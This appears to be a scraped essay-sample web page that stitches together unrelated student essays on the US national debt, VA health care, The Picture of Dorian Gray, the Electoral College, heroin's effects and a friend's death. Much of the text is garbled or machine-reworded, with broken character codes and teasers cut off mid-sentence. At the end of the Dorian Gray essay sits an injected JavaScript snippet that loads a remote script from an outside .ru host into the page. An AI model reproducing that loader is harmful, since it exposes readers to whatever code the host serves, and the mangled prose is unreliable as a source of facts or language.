The American National Debt Crisis - 2258 Words

Introduction In brief, citizens and companies will get a loan from a bank but when the US Government needs a loan it issues debt by selling Treasury financial instruments to other federal government agencies, people, companies, state- and local-governments, as well as to such equivalents abroad (Bureau of the Fiscal Service, 2013). The deficit is the ratio of spending and revenues in one year, but the national debt or federal debt is the sum of all previous deficits, less whatever sum the federal government has subsequently repaid. Hence, every annual government deficit due to borrowing is added to the national (federal) debt. A government surplus can reduce some of the national debt. Annually, the national debt incurs interest to be paid by the government which is linked to overall government spending (National Priorities Project, 2016). This paper will present and discuss the American national debt situation, propose two possible solutions and finally will endeavor to steer a conclusion as to which solution to follow. Current national debt policy and issue The United States (US) has a rising national or government debt (Nanto, 2011, p. 4), which in 2010 for example stood at $13.6 trillion (The Heritage Foundation et al., 2010) and in mid-2015 stood at $18.153 trillion (National Priorities Project, 2016). Combined with its future forecast (i.e. at $22.4 trillion by the end of this year of 2016, Chantrill, 2016) the national debt is unsustainable and the US is confrontedShow MoreRelatedUs National Debt1414 Words   |  6 PagesNational debt ceiling 101: Is a crisis looming? The Christian Science Monitor, Mark Trumbull, March 8, 2011, CSMonitor.com In this article, Mark Trumbull, a staff writer for The Christian Science Monitor, points out several different areas that the USA‘s National Debt crisis effects. Trumbull asks nine different questions about the debt crisis and then answer’s them as best as possible. His effort is to bring the words of this huge political battle from a high scope to the reading level of theRead MoreFinancial Crisis Of The United States951 Words   |  4 PagesFinancial Crisis in the United States American debt held by households is rising ominously, plus our economic policies change. That debt balloon powered by radical income inequality will become the next bust. It drives by spending on domestic demand or more likely consumer spending not just by the wealthy, but by everyone else. An important explaining about the unity that emerged from our latest research has shown as relatively that ten percent were prosperous, saving, and investment in which naturalRead MoreEconomic Depression and Recovery Essay1021 Words   |  5 Pagesas well as the people to respond with our choices that will help us grow and recover. The foreclosure market is a crisis that is surrounded by other factors to help it re-cover. The economy needs to be turned around by: †¢ Job Growth and Expansion †¢ Stop Over-Taxing †¢ Stop Government Spending †¢ Curb The Housing Crisis †¢ Tariffs on Incoming Goods †¢ Reduce the National Debt Job Growth and Expansion: The first step, as described above, is the need to make industry thrive again in thisRead MoreFinancing For Loan And Debt Crisis1269 Words   |  6 Pagestoday, the total consumer debt was $11.52 trillion, and of that, student loans account for $1.08 trillion and that number is growing larger and larger every year (Hiltonsmith, Robert). A large portion of the population undoubtedly feels the burden of these statistics. Seven out of every ten college seniors has reported having to take out one or multiple student loans so that they can to afford to go to college (Hiltonsmith, Robert). The results of this outstanding amount of debt does not just affect theRead MoreThe Eu And The U.s.1501 Words   |  7 Pagesa regulatory in response to the financial crisis. This process is primarily driven by domestic agendas yet a general overlook on each region’s approach towards recovery with examples can create a formidable argument. As the citizens endured the hit, government bodies reacted immediately proposing short term and long term plans in order to lead their respective regions from the crisis. Europe’s debt crisis was initially triggered by events in the American banking sector. When a slowdown in the USRead MoreCauses for 1980s Debt Crisis Essay905 Words   |  4 Pagesbackground and causes of debt crisis in late 1970s and 1980s. The debt crisis was know as financial crisis and defined as a point of a countrys foreign debt accumulation exceed its earning power and the country has no ability to repay the debt. The readily identification of debt crisis was Mexico’s inability to serve its outstanding debt of $80 billion debt. And the situation continue to worsen, and one year later, by October 1983, 27 countries owing $239 billion had reschedule debts or in the processRead MoreWall Street Journal Project1294 Words   |  6 PagesIn this article, the author describes why young workers are no longer looking for summer jobs nor are they being hired for summer work. This summer held the lowest number of young people who found work than any other year on record. â€Å"Fewer young Americans found jobs this summer than last year, but because some of them didn’t look for work† (Murray, S. 2011). It was particularly difficult for a young worker to find a job between the months of April-July. â€Å"Some 48.8% of young people held jobs in JulyRead MoreThe Debt Crisis Of The American Nation And All Around The World1476 Words   |  6 PagesIn the American nation and all around t he world, the spending is increasing and the revenues of the households are falling (Truth, 2010). It was noticed in the year 2010 that the spending was about 24 percent of the Gross Domestic Product (GDP) hence this has made the federal budget to increase drastically from 33 percent to 62 percent in the year 2010. Therefore, another reason for the â€Å"debt crisis† is because of the federal spending which is projected to increase at a father rather than the rateRead MoreNational Debt : The Biggest Issue Of The Global Politics1270 Words   |  6 PagesNational debt is the biggest issue in the global politics. As we scrutinize the US national debt and its history; we can answer the most common questions from fellow citizens in the US on the National debt: what causes the national debt? Who do we owe money to? And how can the Government pay off the debt entirely? I strongly believe the national debt should be a major concern to all American citizens and tax payers, because th ey contribute to government spending a great deal. In 1790, Alexander HamiltonRead MoreThe Latin America Debt Crisis1002 Words   |  5 PagesAmerica debt crisis What Happened Both internal and external for Latin Americas roller coaster economic performance in what was known as the crisis. During the 50’s and 60’s there was favorable conditions in place to maintain steady employment creation, capital investment and overall economic expansion. But this period ended in 1973 amid the first world oil crisis rocked the world economy and caused an era of debt-led growth among the oil importing Latin America countries. Latin American countries

The VA Health Care System Essay - 1079 Words

The VA (Veterans Affair) Health Care System is one of the largest, most advanced health care networks in the U.S. The VA Health Care System is the provider for veterans, retirees and their dependents and manages all their health care. The VA Health Care is actually one part of the Department of Veterans Affairs. There is also VA Benefits Administration which has to do with compensations and pensions. Then the other part of the VA is the National Cemetery Administration which is in charge of the cemeteries and providing burial and memorial benefits. All these parts make up the Department of Veterans Affairs. (VA History) In 1636 the â€Å"Pilgrims passed a law which stated that disabled soliders would be supported by the colony.† (VA History)†¦show more content†¦These facilities provide a broad spectrum of medical, surgical, and rehabilitative care. Then in 1973 the National Cemetery System (except Arlington National Cemetery) was transferred to the Veterans Administration from the department of the Army. The VA was charged with operating the Cemetery System this includes marking all the graves of veterans in national and state cemetery’s and administering the State Cemetery Grants Program. The Department of Veterans Affairs was established as a cabinet-level position on march 15 1989 under President Bush (senior), he addressed the creation of this new department saying, â€Å" there is only one place for the veterans of America, in the cabinet room, at the table with the President of the United States of America.† (VA History) One of the services the VA offers to veterans is Pensions. To receive pension benefits a veteran must be a low income individual, either permanently or totally disabled, or age 65 or older who has served more than 90 days of active military service with at least one during a period of war. (VA)This 90 days of active duty servitude does not apply to veterans whom have been discharged due to a service-connected disability. If a veteran was discharged under conditions other than dishonorable or the disability is a result of hisShow MoreRelatedThe Organizations Respective Industry1213 Words   |  5 Pages2012). As a result, organizations utilize an all-encompassing strategy that takes into consideration a number of variables that could influence the growth of the organization. TIME Analysis: Department of Veterans The Department of Veterans Affairs (VA) provides non-medical and medical benefits to service men and women with honorable or medical discharges from the military. In the 1920’s the three separate Federal agencies: the Veterans Bureau, the Bureau of Pensions of the Interior Department, andRead MoreVeteran Affairs Patient Satisfaction From Outside Reports933 Words   |  4 Pagesin the United States and only 9 million veterans are enrolled in the VA. Only 5 million veterans actually received care during 2014’s fiscal year. â€Å"In a given year, not every VA-enrolled veteran receives VA health care services. Some veterans may opt not to seek care during the year, while others may receive care outside the VA system, paying for care using private health insurance, Medicare, Medicaid, the military health system† These are astonishing numbers considering the rising costs ofRead MoreImproving Veterans Access For Care1645 Words   |  7 PagesAccess to Care What is the problem? The Department of Veteran’s Affairs (VA) has been tasked with providing support and benefits to Veterans after they have completed their service. However, many Veterans are reporting difficulty accessing care due to systematic barriers within the VA’s Veterans Health Administration (Oliver, 2007). Complex eligibility requirements, long wait lists and lack of providers are a few of the issues Veterans are faced with when trying to access health and mental health careRead MoreThe Heart Of A Healthcare System975 Words   |  4 Pageshealthcare system is to ensure timely access to care and to ensure optimal outcomes in differing levels of disparity in healthcare. The Veteran Health Administration has made system wide transformation to expand access to care; however, women veterans continue to experience sub-standardized care as compared to men (Washington, 2011). Women veterans’ lack of substantial income, knowledge to Veteran (VA) eligibility and services, identif ied this group as a vulnerable population in the VA system. By utilizingRead MoreThe Department Of Veterans Affairs1654 Words   |  7 Pagesbeen kind to the Department of Veterans Affairs (VA). News in April that several VA facilities were causing veterans to wait months for health care, and some VA officials forced employees to keep fake records to conceal the delays. Gregg Zoroya notes that there were also allegations that the deaths of 40 veterans were caused by the delays at the Phoenix VA hospital, although the VA contends that they were not â€Å"conclusively† linked. Nonetheless, VA Secretary Eric Shinseki resigned less than a monthRead MoreVeterans Swot Analysis1344 Words   |  6 PagesDepartment of Veterans Affairs The United States Department of Veterans Affairs (VA) was founded in 1930, and today, â€Å"operates one of the largest health care delivery systems in the nation, with 168 medical centers and more than 1,000 outpatient facilities organized into regional networks† (GAO, 2017). The VA employs nearly 350,000 people at its facilities and serves approximately 9 million veterans each year (VA, 2017). SWOT ANALYSIS GRID STRENGTHS: (Internal) †¢ Employee training/educationRead MoreHistory Of Health Care Reform895 Words   |  4 PagesHistory of Health Care Reform Our country has been on the cusp of health care reform several times throughout history. It has evolved from strictly a patient and physician system to numerous other parties in the equation from patients, physicians, hospitals, insurance carriers and government programs to name a few. The latest health care reform came with passage of the Patient Protection and Affordable Care Act (ACA) signed into law on March 23, 2010. This new law is a conglomerate of the manyRead MorePublic Veterans Should Not Have A Good Support Network Of Family1473 Words   |  6 Pageswhich my individual interviews point to as well. Conclusions and Recommendations Practically all older men used some health care, as did about three in four younger nonveterans or veterans not in VA care. West and Weeks (2009) states that Veterans in VA care were more likely than other health care consumers to use each major category of service, but less likely to have commercial health insurance, particularly if they were rural residents. West and Weeks (2009) further confirms that nearly all men 65Read MoreImplementing The New Health Care Reform870 Words   |  4 Pagesthat are active in adopting the new health care reform. An analysis of the new reform and its impact on the VA should be studied. These factors can play a major role in the decisions to be made when making changes in Ms. Patton’s area of control. Care should be integrated, and incentives should be aligned to the well-being of the enrolled population. The fundamental objective of implementation of the transition plan should be improving patient health. Primary care should be a major focus, and the goalRead MoreDepartment Of Veterans Affairs Essay892 Words   |  4 Pagesyears since the latest VA scandals were brought into the light by sympathetic whistleblowers and there are still reports of corruption in the highest ranks of the VA and veterans continue to be denied quality health care that they have earned. Millions of veterans have deployed to Iraq and Afghanistan (http://www.va.gov/vetdata/Quick_Facts.asp). Research has shown that service members that are returning from fighting in the war on terror are coming home with countless health problems including Post

The Picture Of Dorian Gray Corruption Through free essay sample

The Picture Of Dorian Gray: Corruptness Through Aestheticism Essay, Research Paper The Picture of Dorian Gray: Corruptness Through Aestheticism The Picture of Dorian Gray by Oscar Wilde is the narrative of moral corruptness by the agencies of aestheticism. In the novel, the well significance creative person Basil Hallward presets immature Dorian Gray with a portrayal of himself. After discoursing with misanthropic Lord Henry Wotton, Dorian makes a wish which awfully affects his life everlastingly. # 8220 ; If it were I who was to be ever immature, and the image that was to turn old! For that I would give everything! Yes, there is nil in the whole universe I would non give! I would give my psyche for that # 8221 ; ( Wilde 109 ) . As it turns out, the Satan that Dorian sells his psyche to is Lord Henry Wotton, who exists non merely as something external to Dorian, but besides as a voice within him ( Bloom 107 ) . Dorian continues to take a life of sensualness which he learns approximately in a book given to him by Lord Henry. Dorian # 8217 ; s unethical devotedness to pleasure go his manner of life. The fresh underscores its disapproval of aestheticism which negatively impacts the chief characters. Each of the three primary characters is an aesthete and meets some signifier of awful personal day of reckoning. Basil Hallward # 8217 ; s aestheticism is manifested in his dedication to his artistic creative activities. He hunts in the outside universe for the perfect manifestation of his ain psyche, when he finds this object, he can make chef-doeuvres by painting it ( Bloom 109 ) . He refuses to expose the portrayal of Dorian Gray with the account that, # 8220 ; I have put excessively much of myself into it # 8221 ; ( Wilde 106 ) . He farther demonstrates the extent to which he holds this doctrine by subsequently saying that, # 8220 ; merely the creative person is genuinely reveled # 8221 ; ( 109 ) . Lord Henry Wotton criticizes Basil Hallward that, # 8220 ; An creative person should create beautiful things but should set nil of his ain life into them # 8221 ; ( Wilde 25 ) . Ironically, the intent of Basil Hallward # 8217 ; s being is that he is an aesthete nisus to go one with his art ( Eriksen 105 ) . It is this really work of art which Basil refuses to expose that provides Dorian Gray with the thought that there are no effects to his actions. Dorian has this belief in head when he murders Basil. Here we see that the creative person is killed for his inordinate love of physical beauty ; the same art that he wished to unify with is the cause of his mortal ruin ( Juan 64 ) . Lord Henry Wotton, the most influential adult male in Dorian # 8217 ; s life, is an aesthete of the head. Basil is an creative person who uses a coppice while Wotton is an creative person who uses words: There is no good, no immorality, no morality and immorality ; there are manners of being. To populate is to experiment aesthetically in populating to experiment all esthesiss, to cognize all emotions, and to believe all ideas, in order that the ego # 8217 ; s every capacity may be imaginatively realized ( West 5811 ) . Lord Henry believes that, # 8220 ; it is better to be beautiful than to be good # 8221 ; ( Wilde 215 ) . Although he attests that aestheticism is a manner of idea, he does non move on his beliefs. Basil Hallward accuses him stating, # 8220 ; You neer state a moral thing and you neer do a incorrect thing # 8221 ; ( 5 ) . However, Lord Henry does take the immoral action of act uponing Dorian. Although Lord Henry states that, # 8220 ; all influence is immoral # 8221 ; ( Wilde 18 ) , he however drastically alterations Dorian Gray. As Dorian Acts of the Apostless on the beliefs of Lord Henry, the portrayal # 8217 ; s beauty becomes corrupted. # 8220 ; Lord Henry nowadayss Dorian with the renters of his New Hedonism, whose footing is self-development taking to the perfect realisation of one # 8217 ; s nature # 8221 ; ( Eriksen 97 ) . If Lord Henry # 8217 ; s aesthetic thoughts have cogency, Dorian Gray # 8217 ; s portrayal should non become ugly, but instead more beautiful. Since the image becomes loathsome, it is apparent that Lord Henry # 8217 ; s beliefs are untrue ( West 5811 ) . Dorian becomes so disgusted with the atrocious portrayal that he slashes the canvas, and the knife pierces his ain bosom. Because Lord Henry is responsible for act uponing Dorian Gray, he is partially the cause of the decease of Dorian ( 5810 ) . While Lord Henry is indirectly the cause of Dorian # 8217 ; s decease, he excessively causes his ain ruin. Lord Henry alterations Dorian with the belief that ethical motives hold no legitimate topographic point in life. He gives Dorian a book about a adult male who seeks gt ; beauty in evil esthesiss. Both Lord Henry # 8217 ; s actions and ideas prove catastrophic, as his married woman leaves him and the staying focal point of his life, vernal Dorian Gray, kills himself in an effort to foster the life style suggested to him by Lord Henry. Finally, he is left destitute, without Dorian, the art he so cherishes, because he tried to model it, as dictated by aestheticism. Of all the supporters, Dorian # 8217 ; s ruin is the most clearly recognized. A immature adult male who was pure at the beginning of the novel becomes depraved by the influence of Lord Henry. # 8220 ; He grew more and more infatuated of his ain beauty, more and more interested in the corruptness of his ain psyche # 8221 ; ( Bloom 121 ) . He begins to take a life of immorality, including the slaying of his beloved friend Basil Hallward. # 8220 ; There were minutes when he looked on immorality merely as a manner through which he could recognize his construct of beautiful # 8221 ; ( Wilde 196 ) . However, there is still a flicker of good left in Dorian. He ciliums out at his distorted wise man, Lord Henry, declaring, # 8220 ; I can # 8217 ; t bear this Henry! You mock at everything, and so propose the most serious calamities # 8221 ; ( 173 ) . This hint of goodness is non plenty to salvage Dorian, for he has crossed excessively far towards the kinky side of aestheticism and can non get away it. # 8220 ; Dorian experiments with himself and with work forces and adult females, and watches the experiment recorded twelvemonth by twelvemonth in the fouling and aging corruptness of his portrayal # 8217 ; s beauty # 8221 ; ( West 5811 ) . Dorian becomes so fed up with this portrayal of his psyche and his scruples, that he slashes the canvas, killing himself. For Dorian, this is the ultimate immorality act, the desire to free himself of all moral sense. Having failed the effort to get away through good actions, he decides to get away by perpetrating the most awful of offenses. Aestheticism has claimed its concluding victim. # 8220 ; Basil Hallward is what I think I am: Lord Henry what the universe thinks of me: Dorian Gray what I would wish to be # 8211 ; in other ages, possibly # 8221 ; ( Hart- Davis 352 ) . Because of the terminations he creates for these characters, Oscar Wilde proves that he does non visualize himself in the immoral characters of this narrative nor is he trying to advance their life styles. Of all the characters whom he creates, he sees himself as Basil, the good creative person who sacrifices himself to contend immorality. # 8220 ; It was his beauty that had ruined him, his beauty and the young person that he had prayed for # 8221 ; ( Wilde 242 ) . Contrary to Wilde # 8217 ; s claim in the foreword that, # 8220 ; there is no such thing as a moral or immoral book # 8221 ; ( seven ) , this novel has a deep and meaningful intent. # 8220 ; The moral is that an absence of spiritualty, of religion, of respect for homo life, separates persons like Wilde # 8217 ; s Dorian Gray from humanity and makes monsters of them # 8221 ; ( West 5831 ) . W.H. Auden feels that the narrative is specifically structured to supply a moral. He compares the narrative to that of a fairy narrative, complete with a princess, a wicked enchantress, and a faery godmother. This leaves # 8220 ; room for a moral with which good every fairy narrative ends. # 8221 ; Not merely is the fresh seen as bing on the pure degree of faery narratives, but it is claimed to incorporate # 8220 ; ethical beauty # 8221 ; ( Auden 146 ) . The Picture of Dorian Gray is a fresh including a moral duologue between scruples and enticement that is strongly conveyed. Though it is made to look an advocator for aestheticism on the surface, the narrative finally undermines that full doctrine. Wilde brings the inquiry of # 8220 ; to what extent are we shaped by our actions # 8221 ; ( 26 ) . He besides demonstrates that # 8220 ; art can non be a replacement for life # 8221 ; ( Eriksen 104 ) . It is a antic narrative of hedonism with a moral to be learned and remembered. Plants Cited Auden, W.H. # 8220 ; In Defense of the Tall Story. # 8221 ; The New Yorker. 29 November 1969. pp.205-206, 208-210. Bloom, Harold. Oscar Wilde. New York: Chelsea House Publishers, 1985. Ellman, Richard. Oscar Wilde. New York: Alfred A. Knopf Inc. , 1987. Eriksen, Donald. Oscar Wilde. Boston: Twayne Publishers, 1977. Hart-Davis, Rupert. The Letters of Oscar Wilde. New York: Harcourt, Brace and World, 1962. Juan, Efifanio. The Art of Oscar Wilde. New Jersey: Princetown University Press, 1967. Wilde, Oscar. The Picture of Dorian Gray. New York: Random House, Inc. , 1992. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Electoral College System Essay Research Paper After free essay sample

Electoral College System Essay, Research Paper After the last presidential election, which is still underway seemingly, there is much contention over what should go on to the Electoral College system. There are people who say that the Electoral College is good but should be modified to run into the demands of the modern universe. There are those who say that the Electoral College system is excessively outdated to be modified and should be wholly eliminated. Finally there are those who say that it is has stood the trial of clip and is still the best system for our state. The original framers of the fundamental law evidently preferred the electoral system to a direct popular election. The statement that historians give for this is that they preferred this system because travel was hard and there were no national party organisations. I personally reject this statement. I agree that travel was hard back so, but wouldn # 8217 ; t that have meant that the campaigner who lived closest to the most largest provinces would hold an un-fair advantage under the electoral system back so? The historiographers add that the framers feared that many regional campaigners would split the ballot, and that by necessitating a campaigner to win a bulk in the Electoral College was a manner of obtaining a national nose count. We will write a custom essay sample on Electoral College System Essay Research Paper After or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page There have been many efforts to reform or even trash the Electoral College election sense it # 8217 ; s birth. The most recent one being in 1997 when Congress debated a constitutional amendment to replace the electoral system with a direct popular ballot system. However the Electoral College system to this twenty-four hours remains virtually un-changed from its original signifier. The lone exclusion is the 12th amendment, which requires each voter to project two ballots, one for president and one for frailty president. Under the current system there are five hundred and 30 eight voters. Each province gets one voter, each representative, and a senator. A presidential campaigner demands two hundred and seventy ballots to win the election. The voters meet after the November popular election to project their ballots and officially elect the president. Tocopherol readers may vote for whomever they wish. Each state’s electoral ballots are awarded on a victor take all bases. The statements to modify or extinguish the Electoral College system are all derived from the impression that it is outdated. Under the current system if a campaigner wins a big provinces like California, so they win 20 per centum of the needed ballots even though California merely accounts for 11 per centum of the U.S. population. What # 8217 ; s more is a president can be elected without winning a bulk of the popular ballot. This has happened 15 times in U.S. history. The fundamental law allows voters to utilize their discretion. Seven times in history an voter has non casted his ballot for the peoples pick. Fortunately this has non yet had a existent affect on the result of an election. Under the current system each states electoral ballots are awarded on a victor take all footing. This makes it highly hard for a 3rd party or independent campaigner to win any electoral ballots. In fact, by concentrating support in certain provinces, a campaigner can take the presidential term with out winning more popular ballots than his opposition. Harmonizing to the 1990 nose count, a campaigner merely needs to win 11 of the most to a great extent populated of the 50 provinces in order to take the presidential term. The statements to keep the Electoral College system are all derived from the impression that it has worked all right therefore far. There have been many efforts to reform the electoral system but none of them have been successful. This is due to the fact that no election system is perfect, but the current system has stood the trial of clip. It has neer rejected the victor of a popular ballot bulk. It ever produces clear and instantly known victors, so far. Geting rid of the Electoral College system would be deeply unsafe. Particularly with the manner modern elections are conducted. This would intend that the entirety of our runs would be a telecasting advertisement tarmac sort of run. We would be passing the American presidential run to whatever media advisor could out slick the other, and non needfully to the best campaigner for our state.

The Effects of Heroin on a Person’s Brain and Body a Literature Review free essay sample

The Effects of Heroin on a Person’s Brain and Body: A Literature Review Heroin, also known as diacetylmorphine, is an illegal drug in the United States and many other countries. Heroin has devastating results on the brain and body. This paper looks at heroin’s history, its consequences on the brain and body, addiction possibilities, and available options for treatment for heroin abusers. What is Heroin? Chemical make-up Breaking down the parts of the word, diacetylmorphine, di means two, acetyl is a radical derived from acetic acid, and morphine is a drug derived from the opium poppy plant used to relieve pain. Heroin, on the street, is generally not pure. Drug dealers often add other things in the drug to stretch their dollar (Furst, 2000). The term for adding things to a drug is called cutting it. According to Furst, easily attainable items, such as lactose and milk sugar, can cut heroin. We will write a custom essay sample on The Effects of Heroin on a Person’s Brain and Body: a Literature Review or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Quinine, a psychoactive drug that enhances the heroin high, is also a common choice. History Upon researching the history of heroin, very few research articles were located. Many tend to focus on its results in present day life. Unfortunately, this inequity of information in Walden University’s academic databases, the internet provided much of the information regarding the history of heroin. Using vigilant discernment and precise judgment, the following information appeared relevant and valuable in understanding the path of heroin. Heinrich Dreser, an employee of the Bayer Company (the same as today’s Bayer Asprin), first discovered heroin in 1895 by diluting morphine (PBS, 1998). It was later that heroin was advertised and sold as an over-the-counter medication. Acknowledged for having the pain relieving effects of morphine, without the side effects and addictions, heroin became the new choice for pain relief. Unfortunately, a researcher in Bayer laboratories unethically withheld the truth of this information (HeroinAbuse. Net, 2007; PBS, 1998). The use, abuse, and addiction to heroin grew in the United States, and around the world, throughout the early 1900s. Access to heroin on the streets, despite its illegal status, became easier and soon it became a headliner when American celebrities (Janis Joplin, John Belushi, and Kurt Cobain, to name a few) overdosed and died due to use of the drug and its mixture with other illegal substances (PBS, 1998). Today, heroin is still illegal, but is prominent in the lives of many who use or know someone who uses. Effects of Heroin on the Brain Drugs become illegal usually due to the negative consequences. Franken, Stam, Hendriks, and van den Brink (2004) found that heroin can have a negative result on the brain by limiting and exciting different areas leading the long time abuser to have negative characteristics similar to both Alzheimer’s patients and individuals with multiple sclerosis (dementia and brain lesions, respectively). While their study shared a lot about long-term users of heroin, it failed to present information regarding limited-use of heroin users. It is valuable information to know how heroin use affects both groups. The difference between users and abusers will be discussed in the addiction section of this paper. Li, et al. 2005) discovered major disruptions in the cerebral cortex and central nervous system when they autopsied accidental deaths of heroin addicts. While it is challenging to study the definitive effects of heroin on the brain in patients while alive, postmortem patients provide valuable information regarding the effects of heroin use on the brai n. While traces of heroin were found throughout the brain, they discovered a larger amount in the hippocampus and the basal ganglia (Li, et al. , 2005). These heroin cells left lesions in the brain, which could have lead to decreased blood flow to the organs and even death (Li, et al. , 2005). It is clear that the brain is affected by the use of heroin, next we will look at the effects of heroin on the body. Effects of Heroin on the Body Heroin affects vision. Firth (2005) studied its effects. Many heroin users reported double vision (diplopia); the author thought it was important to see whether it was a temporary or permanent condition. Eye exercises or specially made glasses corrected the majority of diplopic conditions. Shao, et al. (2006), tested and found that those with the DRD4 VNTR long repeat allele were more likely to crave heroin after seeing heroin related stimuli, than with the similar DRD4 VNTR short repeat allele. This type of research provides information to future researchers to study this particular allele and perhaps find a â€Å"cure† for heroin addiction. While this may not be the only part of the human body that shows addiction tendencies towards heroin, it is a stepping-stone towards a future of understanding heroin addiction and maybe generalizes that information towards addictions to any substance. Addiction Addiction, in general, has been viewed from many different angles. Many influences encourage one to begin using a substance. O’Brien (2003) states that when discussing addition agent variable, there are three categories to take into consideration. First, agent variables include the onset and duration of the high, and price of the substance. Second, host variables include a risk-taking personality, likeliness of the person to get high, hereditary influences, and a desire to self-medicate. Lastly, environmental variables include peer pressure, and the use of a substance by a role model. These three groups of variables are important to take into consideration when identifying and analyzing an addiction. Viewing addiction from two perspectives, it is in one’s brain, or addiction is a chronic disease (O’Brien, 2003). Research has found that brain mapping is different in the brain of an addict than it is in the brain of a non-addict. Applying the disease approach to addiction, relapses are common and cannot be helped. The philosophy resembles the thoughts such as â€Å"would you punish a diabetic for having a sugar crash? † Many times the ideas behind addiction are challenging for people to comprehend when they have not had an addiction themselves or seen another person go through it. It is important for researchers to study addiction so that we can better understand it and help those who are addicted to substances. According to the DSM-IV-TR (American Psychiatric Association, 2000), an addiction to heroin would be classified as an opioid dependence. The characteristics of a person who is dependent upon heroin (a member of the opioid family) include the use of the drug without a prescription, self-medicating, obsession with obtaining the drug, high tolerance for the drug, and withdrawal symptoms when use is abruptly ended. Chiang, et al. (2006), looked at the likelihood of relapse for heroin users and found that of their 166 heroin abusers, approximately 80% of them relapsed in the five-year study. This is a larger percentage and ties into the idea of heroin addiction being a chronic disease that affects an individual throughout their life. Treatment With relapse having such prevalence in the life of heroin abusers trying to abstain, finding a successful treatment program is an important task. Blanken, et al. 2005), found significant success in programs that utilized a mix of heroin and methadone as a treatment to curb withdrawal symptoms, over those that used only methadone. One may question the help of using an addictive substance to treat an addiction, but it is similar to the idea of weaning a child off breast milk by slowly introducing bottles alongside the breast. While it takes some time for the weaning process, it decreases the likelihood of relapse. Gossop, Stewart, and Marsden (2006) found th at participants in a methadone treatment program, who received drug related counseling, were less likely to elapse than those who received generic or no counseling. This is important information for clinics that have methadone treatments programs because they can use the research to enhance their programs to better fit their patients and help in their treatments. Research (Marissen, et al. , 2006) has found that in-patient patients, who showed interest towards heroin related cues, were more likely to relapse after treatment, than those who did not show interest in the cues. The next steps for future research may include assessing whether the desire for heroin makes treatment more difficult. Whether an addict has a problem in their brain, or whether they have a chronic disease, heroin use and abuse is a grave topic for consideration (O’Brien, 2003). From the characteristics that push a person to first try heroin, to the nagging need for the high of just one more hit, the drug is a dangerous chemical that can have serious repercussions on both the brain and the body. Researcher need to continue their work in examining heroin as a chemical, drug, and addictive substance in order to assist in the best treatment for its use. With continued research, there may be a cure for heroin addiction, or even addiction itself. References American Psychiatric Association. (2000). Diagnostic and statistical manual of mental disorders (4th Ed, Text Revision). Washington, DC: American Psychiatric Association. Blanken, P. , Hendriks, V. M. , Koeter, M. W. J. , van Ree, J. M. , van den Brink, W. (2005). Matching of treatment-resistant heroin-dependent patients to medical prescription or heroin or oral methadone treatment: Results from two randomized controlled trials. Addiction, 100, 89-95. Chiang, S. -C.. Chan, H. -Y. , Chen, C. -H. , Sun, H. -J. , Chang, H. -J. , Chen, W. J. , Lin, S. -K. , Chen, C. -K. (2006). Recidivism among male subjects incarcerated for illicit drug use in Taiwan. Psychiatry Clinical Neurosciences, 60, 444-451. Firth, A. Y. (2005). Heroin and diplopia. Addiction, 100, 46-50. Franken, I. H. A. , Stam, C. J. , Hendriks, V. M. , van den Brink, W. (2004). Electroencephalographic power and coherence analyses suggest altered brain function in abstinent male heroin-dependent patients. Neuropsychobiology, 49, 105-110. Gossop, M. , Stewart, D. , Marsden, J. (2006). Effectiveness of drug and alcohol counseling during methadone treatment: content, frequency, and duration of counseling and association with substance use outcomes. Addiction, 101, 404-412. HeroinAbuse. Net. (2007). History of heroin. [Website]. Retrieved July 8, 2010, from http://www. heroinabuse. net/heroin_history. php Li, L. , Lu, G. , Yao, H. , Zhao, Y. , Feng, Z. , Yew, D. T. (2005). Postmortem changes in the central nervous system and adrenal medulla of the heroin addicts. International Journal of Neuroscience, 115, 1443-1449. Marissen, M. A. E. , Franken, I. H. A. , Waters, A. J. , Blanken, P. , van den Brink, W. , Hendriks, V. M. (2006). Attentional bias predicts heroin relapse following treatment. Addiction, 9, 1306-1312. National Kidney Foundation. (2008). Drug abuse and your kidneys. [Website]. Retrieved July 10, 2010, from http://www. kidney. org/atoz/atozItem. cfm? id=44 O’Brien, C. P. (2003). Research advances in the understanding and treatment of addiction. The Journal on Addictions, 12, S36-S47. PBS. (1998). Opium throughout history. [Website]. Retrieved July 18, 2010, from http://www. pbs. org/wgbh/pages/frontline/shows/heroin/etc/history. html Shao, C. , Li, Y. , Jiang, K. , Xu, Y. , Lin, Y. , Wang, Q. , Zhao, M. , Jin, L. (2006). Dopamine D4 receptor polymorphism modulates cue-elicited heroin craving in Chinese. Psychopharmacology, 186, 185-190.

Remembering Mike essays

Remembering Mike essays The death of my friend Mike Walker taught me the true meaning of the cliche, Life does not last forever, so live each day like it is the last. I treasure my friends and family more than anything in the world. A good friend is hard to find. I thought this was true until the first day I met Mike. I remember the day perfectly and I will always remember it for as long as I live. To me Mike was a great person. He was always laughing and telling jokes. Of course he had his down times like everyone else, but he did not allow himself to stay down for long. He was the type of guy to just walk up to anybody and say, Hi, I am Mike Walker. The first time I met him, I was sitting down to lunch with my friend, Andrew. We were not there long when another guy sat down. He immediately looked at me and said, Hi, I am Mike Walker. I was so surprised by his welcoming smile that I was left speechless. After a slight nudge from Andrew, I responded with my name and was greeted by yet another charming smile. It was not long before I realized I had sat down to lunch with the golf team. They were all talking and goofing off while I quietly ate my lunch. When I looked up, Mike was staring at me. He looked right at me, as if he were reading my mind. He looked around the table before saying, All right guys, subject change. What do you want to talk about, Stacy? I never got the chance to answer because lunch was over. As we left the cafeteria Mike turned to me and said, Dont worry we will talk about what you want next time. With a smile on his face (as well as mine), he was gone. From then on Mike and I had a friendship. We talked in the halls and after school. Mike was a great person and could always make me happy. One day I was talking to Mike before school let out. We were laughing and joking as usual. He told me he was going to be around after school and to find him l ...

HR Essay Example | Topics and Well Written Essays - 1500 words - 1

